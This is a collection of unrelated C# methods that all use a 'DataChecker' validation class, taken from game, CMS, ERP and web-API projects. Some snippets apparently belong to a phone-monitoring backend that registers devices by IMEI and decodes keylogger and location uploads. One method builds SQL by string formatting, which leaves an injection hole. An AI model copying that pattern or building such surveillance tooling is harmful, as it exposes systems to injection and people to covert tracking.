public void UpdateAsync() { RacingEvent newData, oldData; if (DataSerializer.Deserialize(out oldData)) { newData = oldData.DeepCopy(); if (DataChecker.IsUpToDate(newData)) { if (DataChangeValidator.HasChanged(oldData, newData)) { DataSerializer.Serialize(newData); DataComplete(newData, CompletionStatus.Completed); } else { DataComplete(newData, CompletionStatus.NoChange); } return; } } NextEventDataDownloader nextEvent = new NextEventDataDownloader(); nextEvent.OnDownloadCompleted += nextEvent_OnDownloadCompleted; nextEvent.DownloadEventDataAsync(); }
public void Add(DatasList DatasList, Data Data, DataChecker DataChecker) { if (DataChecker.DataCheck(Data)) { DatasList.Add(Data); } }
public Value GetValue(DatasList DatasList, Key Key, DataChecker DataChecker) { if (DataChecker.KeyCheck(Key)) { return(DatasList.GetValue(Key)); } return(new NullValue()); }
public static DataChecker GetInstance() { if (mInstance == null) { mInstance = new DataChecker(); } return(mInstance); }
public bool Reduce(DatasList DatasList, Key Key, Value Value, DataChecker DataChecker) { if (DataChecker.KeyCheck(Key)) { return(DatasList.Reduce(Key, Value)); } return(false); }
private string CheckData(string columnName) { string errorInfo = null; if (columnName == "Name") { if (_checker == null) { _checker = new DataChecker(VMGlobal.DistributionQuery.LinqOP); } errorInfo = _checker.CheckDataName <VIPUpTactic>(this); } else if (columnName == "BrandID") { if (BrandID == default(int)) { errorInfo = "不能为空"; } } else if (columnName == "FormerKindID") { if (FormerKindID == default(int)) { errorInfo = "不能为空"; } } else if (columnName == "AfterKindID") { if (AfterKindID == default(int)) { errorInfo = "不能为空"; } } else if (columnName == "OnceConsume") { if (OnceConsume < 0) { errorInfo = "不能小于0"; } } else if (columnName == "DateSpan") { if (DateSpan < 0) { errorInfo = "不能小于0"; } } else if (columnName == "SpanConsume") { if (SpanConsume < 0) { errorInfo = "不能小于0"; } } return(errorInfo); }
protected void CheckSqlInject(params string[] values) { foreach (var key in values) { if (DataChecker.SqlIsInject(key)) { throw new ArgumentException("SQL INCORRENT"); } } }
public string RegisterPhone([FromBody] PhoneRegistrationModel value) { if (DataChecker.CheckPhoneRegistration(value)) { string connectionString = ConfigurationManager.ConnectionStrings["SilentConnection"].ConnectionString; return(Base64Helper.Encode(SqlHelper.RegisterPhone(connectionString, Base64Helper.Decode(value.IMEI), Base64Helper.Decode(value.Manufacturer), Base64Helper.Decode(value.Model), Base64Helper.Decode(value.Username), Base64Helper.Decode(value.Number)))); } else { return(Base64Helper.Encode("fail")); } }
private void AddLoader <T>(DataType dataType, string filename, int keyIdx = 0, bool isXML = false) { LoadHandler handle = new LoadHandler(); handle.dataType = dataType; handle.path = filename; handle.type = typeof(T); handle.isXML = isXML; handle.keyIdx = keyIdx; mLoadHandles.Add(filename, handle); DataChecker.GetInstance().Append(dataType, filename); ResourceManager.Instance.LoadBytes(filename, OnLoadTextCallback); }
private string CheckData(string columnName) { string errorInfo = null; if (columnName == "Name" || columnName == "Code") { if (_checker == null) { _checker = new DataChecker(VMGlobal.ManufacturingQuery.LinqOP); } errorInfo = _checker.CheckDataCodeName <Factory>(this, columnName); } return(errorInfo); }
private string CheckData(string columnName) { string errorInfo = null; if (columnName == "Name") { if (_checker == null) { _checker = new DataChecker(VMGlobal.DistributionQuery.LinqOP); } errorInfo = _checker.CheckDataName <ShopExpenseKind>(this); } return(errorInfo); }
public void Test_Check() { var context = GetMockGitDB (); var checker = new DataChecker (context.Settings, context.Reader); var exampleArticle = new ExampleArticle (); var json = exampleArticle.ToJson (); var filePath = context.Saver.Namer.CreateFilePath (exampleArticle.TypeName, exampleArticle.Id); File.WriteAllText (filePath, json); var exists = checker.Exists (exampleArticle); Assert.IsTrue (exists); }
public string AuthentificateUserFromPhone([FromBody] UserAuthenticationModel value) { if (DataChecker.CheckUserCredentials(value)) { string connectionString = ConfigurationManager.ConnectionStrings["SilentConnection"].ConnectionString; if (SqlHelper.LogInUser(connectionString, Base64Helper.Decode(value.Username), Base64Helper.Decode(value.Password))) { return(Base64Helper.Encode("success")); } else { return(Base64Helper.Encode("fail")); } } else { return(Base64Helper.Encode("fail")); } }
public ActionResult SignUpPost(Models.User user) { if (DataChecker.IsLoginCorrect(user.Login) && DataChecker.IsPasswordCorrect(user.Password) && DataChecker.IsEmailCorrect(user.Email) && DataChecker.IsPhoneNumberCorrect(user.Phone, '7')) { user.Password = Hashing.HashPassword(user.Password); using (var context = new UserContext()) { context.Users.Add(user); context.SaveChanges(); return(RedirectToAction("SignIn", user)); } } return(RedirectToAction("SignUp", user)); }
public void Test_Check() { var context = GetTestContext (); var checker = new DataChecker (context.Reader, context.Settings); var exampleArticle = new ExampleArticle (); context.Saver.Save (exampleArticle); // TODO: Make this test fully isolated instead of using the Save function above // TODO: clean up //var key = Context.Settings.Prefix + "-" + exampleArticle.GetType ().FullName + "-" + exampleArticle.Id; //Context.DataClient.Data [key] = exampleArticle.ToJson (); var exists = checker.Exists (exampleArticle); Assert.IsTrue (exists); }
public DataTable GetDataTableBySql(string sql) { try { Database db = GetDatabaseInstance(); DbCommand dbCommand = db.GetSqlStringCommand(sql); dbCommand.CommandTimeout = 600; DataSet ds = db.ExecuteDataSet(dbCommand); if (DataChecker.IsNotEmpty(ds)) { return(ds.Tables[0]); } else { return(null); } } catch (Exception ex) { throw new Exception(ex.Message); } }
private void MainWindow_Loaded(object sender, RoutedEventArgs e) { //step1: find the aim object def string aimDGObjectType = "Borehole"; //load standard IDSImporter importer = new StandardImport_Exl(); DataStandardDef standard = importer.Import(null); //StandardLoader loader = new StandardLoader(); //DataStandardDef standard = loader.getStandard(null); // excel templete for data input IDataExporter dexporter = new DataExporter_Excel(); dexporter.Export(standard); //generate data model according standard(write cs file ,need to be added manually) //ClassGenerator classGenerator = new ClassGenerator(); //classGenerator.GenerateClass(standard); ////IDSExporter dsexporter = new Exporter_For_JSON();//export data standard //DGObjectDef aimDGObjectDef = standard.getDGObjectDefByCode(aimDGObjectType); //Import Data from excel IDataImporter dimporter = new DataImporter_Excel(); string path = @"C:\Users\litao\Desktop\Geology.xls"; DataSet ds = dimporter.Import(path, standard); DataChecker checker = new DataChecker(ds, standard); checker.Check(); //store data to database IDataBaseManager dataManager = new DataBaseManager_EF(); dataManager.Data2DB(ds, standard); //step8 : exporter the data }
public TestContext() { DataClient = new MockRedisClientWrapper (); Settings = new DataManagerSettings (); Settings.IsVerbose = true; Keys = new DataKeys (Settings); IdManager = new DataIdManager (Keys, DataClient); TypeManager = new DataTypeManager (Keys, DataClient); EntityLinker = new EntityLinker (); var preparer = new DataPreparer (DataClient); Preparer = preparer; var reader = new DataReader (TypeManager, IdManager, Keys, DataClient); Reader = reader; var checker = new DataChecker (reader, Settings); Checker = checker; var saver = new DataSaver (Settings, TypeManager, IdManager, Keys, preparer, null, checker, DataClient); // The linker argument is null because it needs to be set after it's created below Saver = saver; var updater = new DataUpdater (Settings, Keys, null, preparer, checker, DataClient); // The linker argument is null because it needs to be set after it's created below Updater = updater; var linker = new DataLinker (Settings, reader, saver, updater, checker, EntityLinker); Linker = linker; // TODO: Is there a way to avoid this messy hack? // Make sure the linker is set to the saver and updater saver.Linker = linker; updater.Linker = linker; }
public ItemLibrary() { itemLibrary = new ItemDatasList(); DataChecker = new ItemLibraryChecker(); }
public MockDataLinker(DataManagerSettings settings, DataReader reader, DataSaver saver, DataUpdater updater, DataChecker checker, EntityLinker entityLinker) : base(settings, reader, saver, updater, checker, entityLinker) { }
private void OnAllLoad() { //ulong start = TimeUtilities.GetNow(); if (!DataChecker.GetInstance().Run()) { GameDebug.LogError("数据填写错误, 需要修正后才可以正常运行!"); return; } DataChecker.DestroyInstance(); DataTable dataTable = DataManager.Instance.GetTable(DataType.DATA_SCENE_CITY); UpdateSceneTable(dataTable, true, false); dataTable = DataManager.instance.GetTable(DataType.DATA_SCENE_QIANGLINDANYU); UpdateSceneTable(dataTable, true, false); dataTable = DataManager.instance.GetTable(DataType.DATA_SCENE_QIANGLINDANYU); UpdateSceneTable(dataTable, true, false); dataTable = DataManager.instance.GetTable(DataType.DATA_SCENE_MONSTERFLOOD); UpdateSceneTable(dataTable, true, true); dataTable = DataManager.instance.GetTable(DataType.DATA_SCENE_STAGESCENE); UpdateSceneTable(dataTable, true, true); dataTable = DataManager.instance.GetTable(DataType.DATA_SCENE_TOWER_STAGE); UpdateSceneTable(dataTable, true, true); dataTable = DataManager.instance.GetTable(DataType.DATA_SCENE_ZOMBIES_STAGE); UpdateSceneTable(dataTable, true, true); dataTable = DataManager.instance.GetTable(DataType.DATA_SCENE_GOLD); UpdateSceneTable(dataTable, true, true); dataTable = DataManager.instance.GetTable(DataType.DATA_SCENE_HUNNENG); UpdateSceneTable(dataTable, true, true); dataTable = DataManager.Instance.GetTable(DataType.DATA_SCENE_ARENA); UpdateSceneTable(dataTable, true, false); dataTable = DataManager.Instance.GetTable(DataType.DATA_SCENE_QUALIFYING); UpdateSceneTable(dataTable, true, false); dataTable = DataManager.Instance.GetTable(DataType.DATA_SCENE_WANTED); UpdateSceneTable(dataTable, true, true); dataTable = DataManager.Instance.GetTable(DataType.DATA_SCENE_TD); UpdateSceneTable(dataTable, true, true); dataTable = DataManager.Instance.GetTable(DataType.DATA_SCENE_YAZHIXIEE); UpdateSceneTable(dataTable, true, false); dataTable = DataManager.Instance.GetTable(DataType.DATA_SCENE_ZHAOCAIMAO); UpdateSceneTable(dataTable, true, false); //SoundManager Init里需要SceneTable DataTable table = DataManager.Instance.GetTable(DataType.DATA_SOUND); SoundManager.Instance.Init(table); GameDebug.Log("load file successfully, time cost = " + (TimeUtilities.GetNow() - mReadFileStartTime) + "ms."); if (mCallback != null) { mCallback(); } }
public void CheckForCorrectTest() { Assert.AreEqual(true, DataChecker.CheckForCorrect("abc def hij", DataType.StringEnglish, " ")); }
/// <summary> /// 文档列表Json数据 /// </summary> public void PagerJsonData_POST() { HttpRequest request = HttpContext.Current.Request; int pageSize, pageIndex, recordCount, pages; int?categoryId = null, moduleId = null; string _categoryId = request["category_id"], _pageIndex = request["page_index"] ?? "1", _pageSize = request["page_size"] ?? "10", _visible = request["lb_visible"] ?? "-1", _special = request["lb_special"] ?? "-1", _system = request["lb_system"] ?? "-1", _aspage = request["lb_page"] ?? "-1"; int publisherId; int.TryParse(request["publisher_id"], out publisherId); bool includeChild = request["include_child"] == "true"; String keyword = Request.Form["keyword"]; if (!String.IsNullOrEmpty(keyword) && DataChecker.SqlIsInject(keyword)) { throw new ArgumentException("Sql inject?", keyword); } if (_categoryId != null) { int __categoryId; int.TryParse(_categoryId, out __categoryId); if (__categoryId > 0) { categoryId = __categoryId; } } //处理页码大小并保存 if (!Regex.IsMatch(_pageIndex, "^(?!0)\\d+$")) { pageIndex = 1; //If pageindex start with zero or lower } else { pageIndex = int.Parse(_pageIndex); } //分页尺寸 int.TryParse(_pageSize, out pageSize); string[,] flags = new string[, ] { { ArchiveFlag.GetInternalFlagKey(BuiltInArchiveFlags.IsSystem), _system }, { ArchiveFlag.GetInternalFlagKey(BuiltInArchiveFlags.IsSpecial), _special }, { ArchiveFlag.GetInternalFlagKey(BuiltInArchiveFlags.Visible), _visible }, { ArchiveFlag.GetInternalFlagKey(BuiltInArchiveFlags.AsPage), _aspage } }; //文档数据表,并生成Html DataTable dt = ServiceCall.Instance.ArchiveService.GetPagedArchives(this.SiteId, categoryId, publisherId, includeChild, flags, keyword, null, false, pageSize, pageIndex, out recordCount, out pages); foreach (DataRow dr in dt.Rows) { dr["content"] = ""; } // CmsLogic.Archive.GetPagedArchives(this.SiteId, moduleID, categoryID, _publisher_id, flags, null, false, pageSize, pageIndex, out recordCount, out pages); //moduleID == null ? CmsLogic.Archive.GetPagedArchives(categoryID, _publisher_id,flags, null, false, pageSize, pageIndex, out recordCount, out pages) //: CmsLogic.Archive.GetPagedArchives((SysModuleType)(moduleID ?? 1), _publisher_id, flags,null, false, pageSize, pageIndex, out recordCount, out pages); string pagerHtml = Helper.BuildJsonPagerInfo("javascript:window.toPage(1);", "javascript:window.toPage({0});", pageIndex, recordCount, pages); base.PagerJson(dt, pagerHtml); }
public InventoryCounter() { inventoryList = new InventoryList(); DataChecker = new InvenrtoryDataChecker(); }
public static void DestroyInstance() { mInstance = null; }
public DataResult Forder_delivery(List <Forder_delivery_Input> input) { string sql = ""; string where = "WHERE Fjde_sono=:Fjde_sono AND FsoentryID=:FsoentryID"; int count = 0; DataResult result = new DataResult() { errCode = 0 }; System.Data.OracleClient.OracleCommand cmd = null; try { if (input == null || input.Count == 0) { throw new Exception("传入参数不能为空"); } TB_Dzsrcdel model = null; cmd = DbUtils.GetCommand(model, Operate.Insert); input.ForEach(p => { DataChecker.CheckObj(p); //根据Fjde_sono和FsoentryID获取底表记录FID var manuscript = GetManuscript_By_SonoAnd_EntryID(p.Fjde_sono, p.FsoentryID, cmd); model = GetDzsrcdel(p.Fjde_sono, p.FsoentryID, cmd); Operate insertOrupdate = Operate.Update; if (model == null) { insertOrupdate = Operate.Insert; model = new TB_Dzsrcdel(); model.FmanuscriptID = manuscript.FID; model.Fjde_sono = p.Fjde_sono; model.FsoentryID = p.FsoentryID; model.Fsrcbillno = p.Fsrcbillno; model.fsrcdelno = p.Fsrcdelno; model.fdeldate = p.Fdeldate; model.Fproductcode = p.Fproductcode; } model.fdelqty = p.Fdelqty; model.Fcasecode = p.Fcasecode; model.Fisdelover = p.Fisdelover; model.Fbuttstatus3 = p.Fbuttstatus3; model.Fremark1 = p.Fremark2; model.FTime = DateTime.Now; //插入或更新子表记录 sql = DbUtils.GetSqlWithObject(model, insertOrupdate); sql = insertOrupdate == Operate.Update ? sql += where:sql; cmd.CommandText = sql; DbUtils.GetParams(model, cmd); count += cmd.ExecuteNonQuery(); }); //按销售单号,行号进行汇总求和发货数量 var group = input.GroupBy(p => new { p.Fjde_sono, p.FsoentryID }) .Select(p => new { Fjde_sono = p.Key.Fjde_sono, FsoentryID = p.Key.FsoentryID, Fdelqty_total = p.Sum(item => item.Fdelqty) }) .ToList(); //更新WHERE语句,根据销售单号和行号更新发货数量 where = "WHERE Fjde_sono=:Fjde_sono AND FsoentryID=:FsoentryID"; group.ForEach(p => { // 更新底表发货数量 sql = string.Format("UPDATE TB_DZmanuscript SET Fdelqty_total={0} WHERE Fjde_sono={1} AND FsoentryID={2}", p.Fdelqty_total, p.Fjde_sono, p.FsoentryID); cmd = DbUtils.GetCommand(new TB_DZmanuscript(), Operate.Update); cmd.CommandText = sql; count += cmd.ExecuteNonQuery(); }); cmd.Transaction.Commit(); cmd.Connection.Close(); if (count == 0) { throw new Exception("同步失败,插入了0条数据"); } return(result); } catch (Exception ex) { LogHelper.WriteLog(ex); LogHelper.WriteLog("Input: " + JsonHelper.ToJson(input)); LogHelper.WriteLog("SQL: " + sql); result.errMsg = ex.Message; result.errCode = -1; if (cmd != null) { cmd.Transaction.Rollback(); cmd.Connection.Close(); } return(result); } }
public DataResult Forder_confirm(Forder_confirm_Input input) { string sql = ""; string where = " WHERE Fjde_sono=:Fjde_sono AND FsoentryID=:FsoentryID"; DataResult result = new DataResult() { errCode = 0 }; try { DataChecker.CheckObj(input); TB_DZmanuscript model = new TB_DZmanuscript(); model.Fjde_sono = input.Fjde_sono; model.Fsrcbillno = input.Fsrcbillno; model.Fproductcode = input.Fproductcode; //model.forderunit = input.Forderunit; model.Forderamount = input.Forderamount; model.FsoentryID = input.FsoentryID; model.Forderprice = input.Forderprice; model.Fisrejected = input.Fisrejected; var cmd = DbUtils.GetCommand(model, Operate.Select); cmd.Parameters.AddWithValue("Fjde_sono", model.Fjde_sono); cmd.Parameters.AddWithValue("FsoentryID", model.FsoentryID); sql = "SELECT COUNT(*) FROM TB_DZmanuscript" + where; cmd.CommandText = sql; var count = Convert.ToInt32(cmd.ExecuteScalar()); if (count == -1) { throw new Exception(string.Format("【{0}】销售订单号,行号【{1}】的记录不存在", input.Fjde_sono, input.FsoentryID)); } sql = DbUtils.GetSqlWithObject(model, Operate.Update); DbUtils.GetParams(model, cmd); sql += where; cmd.CommandText = sql; count = cmd.ExecuteNonQuery(); if (count > 0) { cmd.Transaction.Commit(); cmd.Connection.Close(); return(result); } else { throw new Exception("更新记录为0,未找到相关记录"); } } catch (Exception ex) { LogHelper.WriteLog(ex); LogHelper.WriteLog("Input: " + JsonHelper.ToJson(input)); result.errMsg = ex.Message; result.errCode = -1; return(result); } }
public ActionResult DataUpload([FromQuery] string token, MilvanethProtocol data) { if (!_token.TryDecode(token, out var payload)) { return(StatusCode(401)); } if (!(data?.Context).Check() || !(data?.Data is PackedResult result) || !result.Check()) { return(StatusCode(400)); } try { if (payload.ValidTo < _time.UtcNow) { return(StatusCode(511)); } _auth.EnsureToken(payload, TokenPurpose.AccessToken, GlobalOperation.DATA_UPLOAD, 0, out var account); // virtual deduction for token validation operation var karmaBefore = account.Karma; account.Karma -= 20; switch (result.Type) { case PackedResultType.Inventory: var inventory = (InventoryResult)result.Result; if (inventory.Context != data.Context.CharacterId) { break; } _repo.Character.Commit(account.AccountId, new CharacterData { CharacterId = inventory.Context, ServiceId = data.Context.ServiceId, AccountId = account.AccountId, Inventory = LZ4MessagePackSerializer.Serialize(data.Data) }, false); account.Karma += 20; break; case PackedResultType.InventoryNetwork: var inventoryNetwork = (InventoryResult)result.Result; _repo.Retainer.Commit(account.AccountId, new RetainerData { RetainerId = inventoryNetwork.Context, Character = data.Context.CharacterId, World = data.Context.World, Inventory = LZ4MessagePackSerializer.Serialize(data.Data) }, false); account.Karma += 20; break; case PackedResultType.Artisan: var artisan = (ArtisanResult)result.Result; _repo.Character.CommitRange(account.AccountId, artisan.ArtisanList.Select(x => new CharacterData { CharacterId = x.CharacterId, CharacterName = x.IsValid ? x.CharacterName : null, HomeWorld = x.IsValid && !x.FromMemory ? data.Context.World : 0, }), false); account.Karma += 20 + artisan.ArtisanList.Count(x => x.IsValid) * 10 + artisan.ArtisanList.Count(x => !x.IsValid) * 3; break; case PackedResultType.MarketHistory: var marketHistory = (MarketHistoryResult)result.Result; _repo.History.CommitRange(data.Context.CharacterId, marketHistory.HistoryItems.Select(x => x.ToDb(result.ReportTime, data.Context.World)), false); account.Karma += 20 + 30; break; case PackedResultType.MarketListing: var marketListing = (MarketListingResult)result.Result; var artisanFk = marketListing.ListingItems.Select(x => x.ArtisanId); var ownerFk = marketListing.ListingItems.Select(x => new { x.OwnerId, x.PlayerName }).ToImmutableList(); _repo.Character.CommitRange(account.AccountId, ownerFk.Where(x => x.OwnerId != 0).GroupBy(x => x.OwnerId).Select(y => { var x = y.First(); return(new CharacterData { CharacterId = x.OwnerId, HomeWorld = data.Context.World, CharacterName = x.PlayerName }); }), false); _repo.Character.CommitRange(account.AccountId, artisanFk.Where(x => x > 0 && ownerFk.All(y => y.OwnerId != x)).Distinct().Select(x => new CharacterData { CharacterId = x }), true); _repo.Retainer.CommitRange(account.AccountId, marketListing.ListingItems.GroupBy(x => x.RetainerId).Select(y => { var x = y.First(); return(new RetainerData { RetainerId = x.RetainerId, Character = x.OwnerId, RetainerName = x.RetainerName, Location = x.RetainerLocation, World = data.Context.World }); }), true); _repo.Listing.CommitRange(data.Context.CharacterId, marketListing.ListingItems.Select(x => x.ToDb(result.ReportTime, data.Context.World)), false); foreach (var x in marketListing.ListingItems.GroupBy(x => x.ItemId)) { _repo.Overview.Commit(data.Context.CharacterId, new OverviewData { ReportTime = result.ReportTime, World = data.Context.World, ItemId = x.Key, OpenListing = (short)x.Count(), }, false); } account.Karma += 20 + 100; break; case PackedResultType.MarketOverview: var marketOverview = (MarketOverviewResult)result.Result; _repo.Overview.CommitRange(data.Context.CharacterId, marketOverview.ResultItems.Select(x => x.ToDb(result.ReportTime, data.Context.World)), false); account.Karma += 20 + 30 + marketOverview.ResultItems.Count; break; case PackedResultType.RetainerHistory: // todo break; case PackedResultType.RetainerList: var retainerList = (RetainerInfoResult)result.Result; _repo.Retainer.CommitRange(account.AccountId, retainerList.RetainerInfo.Select(x => x.ToDb(data.Context.CharacterId, data.Context.World)), false); account.Karma += 20 + retainerList.RetainerInfo.Count * 4; break; case PackedResultType.RetainerUpdate: #region NotFinishedCode // todo // 目前有两种方案,直接更新和Copy-on-Update,前者的主要问题在于并发条件下Time-Bucket体系可能会出现问题,后者则在于性能开销,故目前暂不对此数据进行处理 //var retainerUpdate = (RetainerUpdateResult)result.Result; //foreach (var item in retainerUpdate.UpdateItems) //{ // var record = _context.ListingData // .Where(x => x.RetainerId == item.RetainerId && x.ContainerId == (short)item.ContainerId && x.SlotId == item.ContainerSlot) // .OrderByDescending(x => x.ReportTime).Take(1); // if (!record.Any()) // { // var retInfo = // _context.RetainerData.SingleOrDefault(x => x.RetainerId == item.RetainerId); // var record2 = _context.ListingData.Where(x => // x.World == data.Context.World && x.ItemId == item.ItemInfo.ItemId && // x.ReportTime <= result.ReportTime) // .OrderByDescending(x => x.ReportTime).Take(1); // _repo.Commit(data.Context.CharacterId, new ListingData // { // BucketId = record2.Any() ? record2.First().BucketId : Guid.Empty, // ReportTime = result.ReportTime, // World = data.Context.World, // ReporterId = data.Context.CharacterId, // ListingId = 0, // RetainerId = item.RetainerId, // OwnerId = data.Context.CharacterId, // ArtisanId = item.ItemInfo.ArtisanId, // UnitPrice = item.NewPrice, // TotalTax = 0, // Quantity = item.ItemInfo.Amount, // ItemId = item.ItemInfo.ItemId, // UpdateTime = Helper.DateTimeToUnixTimeStamp(result.ReportTime), // ContainerId = (short)item.ContainerId, // SlotId = (short)item.ContainerSlot, // Condition = (short)item.ItemInfo.Durability, // SpiritBond = (short)item.ItemInfo.SpiritBond, // Materia1 = item.ItemInfo.Materia1, // Materia2 = item.ItemInfo.Materia2, // Materia3 = item.ItemInfo.Materia3, // Materia4 = item.ItemInfo.Materia4, // Materia5 = item.ItemInfo.Materia5, // RetainerName = retInfo?.RetainerName, // PlayerName = item.ContainerId == InventoryContainerId.HIRE_LISTING ? null : _context.CharacterData.SingleOrDefault(x => x.CharacterId == data.Context.CharacterId)?.CharacterName, // IsHq = item.ItemInfo.IsHq, // MateriaCount = 0, //todo // OnMannequin = item.ContainerId != InventoryContainerId.HIRE_LISTING, // RetainerLoc = 0,//todo // DyeId = item.ItemInfo.DyeId // }, true); // account.Karma += 25; // continue; // } // var recordEntity = record.First(); // if (recordEntity.ReportTime >= result.ReportTime) // { // account.Karma -= 25; // continue; // } // recordEntity. //} //account.Karma += 20 + retainerUpdate.UpdateItems.Count * 25; #endregion account.Karma += 20; break; case PackedResultType.Status: var status = (StatusResult)result.Result; if (status.CharacterId != data.Context.CharacterId) { break; } if (account.PlayedCharacter == null) { account.PlayedCharacter = new long[0]; } if (!account.PlayedCharacter.Contains(status.CharacterId)) { var temp = new long[account.PlayedCharacter.Length + 1]; Array.Copy(account.PlayedCharacter, temp, account.PlayedCharacter.Length); temp[temp.Length - 1] = status.CharacterId; account.PlayedCharacter = temp; } _repo.Character.Commit(account.AccountId, new CharacterData { CharacterId = status.CharacterId, CharacterName = status.CharacterName, ServiceId = data.Context.ServiceId, AccountId = account.AccountId, HomeWorld = status.CharacterHomeWorld, JobLevels = status.LevelInfo.ToDb(), GilHold = status.CharaInfo.GilHold }, false); account.Karma += 20 + 40; break; case PackedResultType.LobbyService: var lobbyService = (LobbyServiceResult)result.Result; if (lobbyService.ServiceId != data.Context.ServiceId) { break; } if (account.RelatedService == null) { account.RelatedService = new long[0]; } if (!account.RelatedService.Contains(lobbyService.ServiceId)) { var temp = new long[account.RelatedService.Length + 1]; Array.Copy(account.RelatedService, temp, account.RelatedService.Length); temp[temp.Length - 1] = lobbyService.ServiceId; account.RelatedService = temp; } account.Karma += 20; break; case PackedResultType.LobbyCharacter: var lobbyCharacter = (LobbyCharacterResult)result.Result; if (!DataChecker.CheckOnlineCharacterBinding(data.Context.ServiceId, lobbyCharacter.CharacterItems)) { #warning api availability is not checked. account.Karma -= 180; break; } if (account.RelatedService == null) { account.RelatedService = new long[0]; } if (!account.RelatedService.Contains(data.Context.ServiceId)) { var temp = new long[account.RelatedService.Length + 1]; Array.Copy(account.RelatedService, temp, account.RelatedService.Length); temp[temp.Length - 1] = data.Context.ServiceId; account.RelatedService = temp; } _repo.Character.CommitRange(account.AccountId, lobbyCharacter.CharacterItems.Select(x => x.ToDb(data.Context.ServiceId)), false); account.Karma += 20 + 20 * lobbyCharacter.CharacterItems.Count; break; default: // do nothing break; } _context.KarmaLog.Add(new KarmaLog { ReportTime = _time.UtcNow, AccountId = account.AccountId, Reason = GlobalOperation.DATA_UPLOAD + (int)result.Type, Before = karmaBefore, After = account.Karma }); _context.AccountData.Update(account); _context.SaveChanges(); return(StatusCode(200)); } catch (Exception e) { Log.Error(e, "Error in DATA/UPLOAD"); return(StatusCode(500)); } }
public ActionResult <MilvanethProtocol> AccountRecoveryGame(MilvanethProtocol data) { if (!(data?.Data is RecoveryGame game) || !game.Check()) { return(new MilvanethProtocol { Context = null, Data = new ServerResponse { Message = GlobalMessage.DATA_INVALID_INPUT, ReportTime = _time.SafeNow, } }); } if (!_pow.Verify(game.ProofOfWork)) { return(new MilvanethProtocol { Context = null, Data = new ServerResponse { Message = GlobalMessage.RATE_POW_REQUIRED, AuthToken = _pow.Generate((byte)Math.Max(GlobalConfig.POW_SENSITIVE_OPERATION, _pow.Difficulty)), ReportTime = _time.SafeNow, } }); } try { var user = _context.AccountData.Include(x => x.PrivilegeLevelNavigation).Single(x => x.AccountName == game.Username); _auth.EnsureAccount(user, new PrivilegeConfig { AccountOperation = true }, GlobalOperation.ACCOUNT_RECOVERY_GAME, 0, "Recovery account via account/recovery with game", _accessor.GetIp()); var success = game.Trace.Count(t => user.Trace.Contains(t)); if (!DataChecker.WeightedSuccess(success, game.Trace.Length, user.Trace.Length)) { return(new MilvanethProtocol { Context = null, Data = new ServerResponse { Message = GlobalMessage.DATA_TRACE_MISMATCH, ReportTime = _time.SafeNow, } }); } if (user.RegisterService != game.Service.ServiceId) { return(new MilvanethProtocol { Context = null, Data = new ServerResponse { Message = GlobalMessage.DATA_RECORD_MISMATCH, ReportTime = _time.SafeNow, } }); } var recovery = _api.Sign(_changeToken, 1, user, _time.UtcNow, _time.UtcNow.AddSeconds(GlobalConfig.TOKEN_ACCOUNT_LIFE_TIME)); return(new MilvanethProtocol { Context = null, Data = new ServerResponse { Message = GlobalMessage.OK_SUCCESS, ReportTime = _time.SafeNow, AuthToken = recovery.Key, } }); } catch (Exception e) { Log.Error(e, "Error in ACCOUNT/RECOVERYGAME"); return(new MilvanethProtocol { Context = null, Data = new ServerResponse { Message = GlobalMessage.OP_INVALID, ReportTime = _time.SafeNow, } }); } }
/// <summary> /// 文档列表Json数据 /// </summary> public void PagerJsonData_POST() { int pageIndex, recordCount, pages; int?categoryId = null, moduleId = null; int.TryParse(Request.Form("page_size"), out var pageSize); if (pageSize == 0) { pageSize = 10; } string _categoryId = Request.Form("category_id"), _pageIndex = Request.Form("page_index"); // _pageSize = Request.Form("page_size")[0] ?? "10", // _visible = Request.Form("lb_visible")[0] ?? "-1", // _special = Request.Form("lb_special")[0] ?? "-1", // _system = Request.Form("lb_system")[0] ?? "-1", // _aspage = Request.Form("lb_page")[0] ?? "-1"; int publisherId; int.TryParse(Request.Query("author_id"), out publisherId); var includeChild = Request.Query("include_child") == "true"; string keyword = Request.Form("keyword"); if (!string.IsNullOrEmpty(keyword) && DataChecker.SqlIsInject(keyword)) { throw new ArgumentException("sql inject?", keyword); } if (_categoryId != null) { int __categoryId; int.TryParse(_categoryId, out __categoryId); if (__categoryId > 0) { categoryId = __categoryId; } } //处理页码大小并保存 if (!Regex.IsMatch(_pageIndex, "^(?!0)\\d+$")) { pageIndex = 1; //If pageindex start with zero or lower } else { pageIndex = int.Parse(_pageIndex); } //文档数据表,并生成Html var dt = ServiceCall.Instance.ArchiveService.GetPagedArchives(SiteId, categoryId, publisherId, includeChild, 0, keyword, null, false, pageSize, pageIndex, out recordCount, out pages); foreach (DataRow dr in dt.Rows) { dr["content"] = ""; } // CmsLogic.Archive.GetPagedArchives(this.SiteId, moduleID, categoryID, _author_id, flags, null, false, pageSize, pageIndex, out recordCount, out pages); //moduleID == null ? CmsLogic.Archive.GetPagedArchives(categoryID, _author_id,flags, null, false, pageSize, pageIndex, out recordCount, out pages) //: CmsLogic.Archive.GetPagedArchives((SysModuleType)(moduleID ?? 1), _author_id, flags,null, false, pageSize, pageIndex, out recordCount, out pages); var pagerHtml = Helper.BuildJsonPagerInfo("javascript:window.toPage(1);", "javascript:window.toPage({0});", pageIndex, recordCount, pages); PagerJson(dt, pagerHtml); }
public static BulkDataModel DecodeBulk(BulkDataModel bulkData) { if (bulkData != null) { if (DataChecker.CheckAuthentication(bulkData.Authentication)) { bulkData.Authentication.IMEI = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Authentication.IMEI))); bulkData.Authentication.SecToken = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlSafe(bulkData.Authentication.SecToken))); } if (DataChecker.CheckKeylogger(bulkData.Keylogger)) { bulkData.Keylogger.Info = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlSafe(bulkData.Keylogger.Info))); bulkData.Keylogger.Hash = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlSafe(bulkData.Keylogger.Hash))); } if (DataChecker.CheckLocation(bulkData.Location)) { for (int i = 0; i < bulkData.Location.Locations.Count; i++) { bulkData.Location.Locations[i].Latitude = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Location.Locations[i].Latitude))); bulkData.Location.Locations[i].Longitude = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Location.Locations[i].Longitude))); bulkData.Location.Locations[i].Date = 